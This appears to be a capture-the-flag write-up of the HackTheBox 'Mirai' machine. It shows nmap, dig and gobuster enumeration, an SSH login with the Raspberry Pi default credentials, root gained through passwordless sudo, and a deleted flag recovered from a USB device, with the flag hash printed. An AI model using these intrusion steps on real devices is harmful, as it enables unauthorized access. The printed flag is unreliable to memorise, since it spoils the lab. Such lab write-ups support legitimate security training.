HackTheBox | Mirai
Initial TCP Nmap Scan
Nmap scan report for mirai.htb (10.10.10.48) Host is up (0.72s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA) | 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA) | 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA) |_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519) 53/tcp open domain dnsmasq 2.76 | dns-nsid: |_ bind.version: dnsmasq-2.76 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 |_http-title: Website Blocked Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.18 seconds
Initial Thoughts Based On Nmap Scan
Looking at the ports we have
53 DNS, and
80 HTTP. Looking at SSH, this is a port that I typically look back on but do not jump straight into. The reason for this is usually we need valid credentials or at the least a username so we could attempt to brutefoce a user. Next, DNS is a good port to look into to gain more information about the host. We could perform
zone transfers which can reveal a lot of information about a domain. For port 80 HTTP, doing manual enumeration and spidering the website by hand with Burp Suite on while automated scans are running such as
nikto, etc. to ensure we are using are time wisely would be an important first step. Testing any parameters and anywhere user input can be thrown into is also another good thing to attempt and using characters that may break a web application such as a single quote, double quote, pipe, etc. Also attempting to find any version numbers, checking for default credentials, etc. is something I will be looking out for. I’m going to quickly look at DNS and HTTP and see what is of the most importance and triage from there.
53 - DNS | Enumeration
When looking into DNS, especially if DNS is on TCP, this usually indicates that it is trying to facilitate some sort of DNS zone transfer. So we can try this command:
dig axfr @10.10.10.48 pi.hole
We don’t get anything with zone transfers so I assume there isn’t much with DNS most likely.
80 - HTTP | Enumeration
10.10.10.48 I am presented with just a blank page. Trying to view the page source shows nothing. I decided to go and run a
gobuster to potentially find other directories.
gobuster dir -u http://10.10.10.48 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.html,.php
When running my scan the first thing that popped up was an
admin directory. Navigating to
10.10.10.48/admin brought me to a page where it seems to be running
Pi-Hole. In simple terms, Pi-Hole helps with network-wide ad blocking by having its DNS be a sinkhole that will stop unwanted content such as ads.
Before I start looking into Pi-Hole and manually navigating around, I started another
gobuster, but I have it searching through the
/admin directory now.
gobuster dir -u http://10.10.10.48/admin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.html,.php
The first place I decided to look into was the
Login page. I started trying basic passwords like
password, password123, etc. No luck with those. I also looked into what the default credentials for Pi-Hole was which is
pi:raspberry. No luck there either. I waited for my gobuster scans to finish, but none of these directories or files were of any use. I take a step back for a bit and remember that I could try using these credentials somewhere else, this being
Access to the Host via SSH and Default Credentials
┌──(root@kali)-[~] └─# ssh firstname.lastname@example.org email@example.com's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 27 14:47:50 2017 from localhost SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. pi@raspberrypi:~ $
And we successfully logged in. As always, before I run any enumeration tools I like to just do a quick
sudo -l to see if I am able to execute certain things with sudo permissions.
pi@raspberrypi:~ $ sudo -l Matching Defaults entries for pi on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User pi may run the following commands on localhost: (ALL : ALL) ALL (ALL) NOPASSWD: ALL
And it tells me that I can just run whatever I want with
sudo with no password. I’m just going to type
sudo su and get root.
pi@raspberrypi:~ $ sudo su root@raspberrypi:/home/pi# id && whoami uid=0(root) gid=0(root) groups=0(root) root
Usually I would just stop here since I got root, but the
root.txt isn’t actually just laying in plain sight.
root@raspberrypi:/home/pi# cat /root/root.txt I lost my original root.txt! I think I may have a backup on my USB stick...
root.txt file we see something about how apparently this user lost the original
root.txt file and is on their
USB stick. Since it is talking about a USB stick, I’m going to just use the
mount command to see what devices are mounted on the host.
root@raspberrypi:/home/pi# mount sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /run type tmpfs (rw,nosuid,relatime,size=102396k,mode=755) /dev/sda1 on /lib/live/mount/persistence/sda1 type iso9660 (ro,noatime) /dev/loop0 on /lib/live/mount/rootfs/filesystem.squashfs type squashfs (ro,noatime) tmpfs on /lib/live/mount/overlay type tmpfs (rw,relatime) /dev/sda2 on /lib/live/mount/persistence/sda2 type ext4 (rw,noatime,data=ordered) aufs on / type aufs (rw,noatime,si=3585a36e,noxino) devtmpfs on /dev type devtmpfs (rw,nosuid,size=10240k,nr_inodes=58955,mode=755) securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000) tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k) tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd) pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime) cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio) cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event) systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct) hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime) debugfs on /sys/kernel/debug type debugfs (rw,relatime) mqueue on /dev/mqueue type mqueue (rw,relatime) tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime) /dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered) tmpfs on /run/user/999 type tmpfs (rw,nosuid,nodev,relatime,size=51200k,mode=700,uid=999,gid=997) tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=51200k,mode=700,uid=1000,gid=1000)
/dev/sdb we can see there was a
usbstick mentioned. We can just use
/dev/sdb which will literally read the bits off of the device.
root@raspberrypi:/home/pi# strings /dev/sdb >r & /media/usbstick lost+found root.txt damnit.txt >r & >r & /media/usbstick lost+found root.txt damnit.txt >r & /media/usbstick 2]8^ lost+found root.txt damnit.txt >r & 3d3e483143ff12ec505d026fa13e020b Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James
And we see
3d3e483143ff12ec505d026fa13e020b which is the root flag!
Overall this box was pretty straight forward. Boxes that force me to think back and use credentials everywhere is a great thing to get used to as this may definitely be a way in when doing the OSCP exam. I also enjoyed that it wasn’t as simple as running
sudo su and grabbing the